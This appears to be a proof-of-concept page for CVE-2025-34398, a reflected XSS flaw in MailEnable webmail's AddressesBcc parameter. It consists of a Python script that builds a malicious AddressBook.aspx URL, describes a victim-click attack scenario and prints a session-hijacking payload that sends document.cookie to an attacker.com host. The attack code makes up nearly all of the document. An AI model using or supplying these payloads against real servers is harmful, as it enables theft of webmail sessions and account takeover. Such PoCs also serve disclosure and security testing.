CVE-2025-34398 MailEnable AddressesBcc参数反射型XSS漏洞

import urllib.parse # CVE-2025-34398 PoC - MailEnable Reflected XSS in AddressesBcc Parameter # Target: MailEnable < 10.54 # Attack Vector: Reflected XSS via AddressesBcc parameter in AddressBook.aspx target_url = "http://target-server/Mondo/lang/sys/Forms/AddressBook.aspx" # Malicious payload that terminates LoadCurAddresses(), injects arbitrary JS, and comments out remaining code # Payload: ';alert(document.cookie);var a=' payload = "';alert(document.cookie);var a='" encoded_payload = urllib.parse.quote(payload) # Construct malicious URL malicious_url = f"{target_url}?AddressesBcc={encoded_payload}" print("[+] CVE-2025-34398 Reflected XSS PoC") print(f"[+] Target: {target_url}") print(f"[+] Malicious URL:") print(malicious_url) print("\n[+] Attack Scenario:") print("1. Attacker crafts a malicious URL with XSS payload in AddressesBcc parameter") print("2. Victim clicks the link while logged into MailEnable webmail") print("3. Payload is reflected in JavaScript variable 'var sAddrBcc'") print("4. Malicious JavaScript executes in victim's browser") print("5. Attacker steals session cookies or performs actions as the victim") # Alternative payload for session hijacking session_hijack_payload = "';var img=new Image();img.src='http://attacker.com/log?c='+document.cookie;var a='" print(f"\n[+] Session Hijacking Payload:") print(urllib.parse.quote(session_hijack_payload))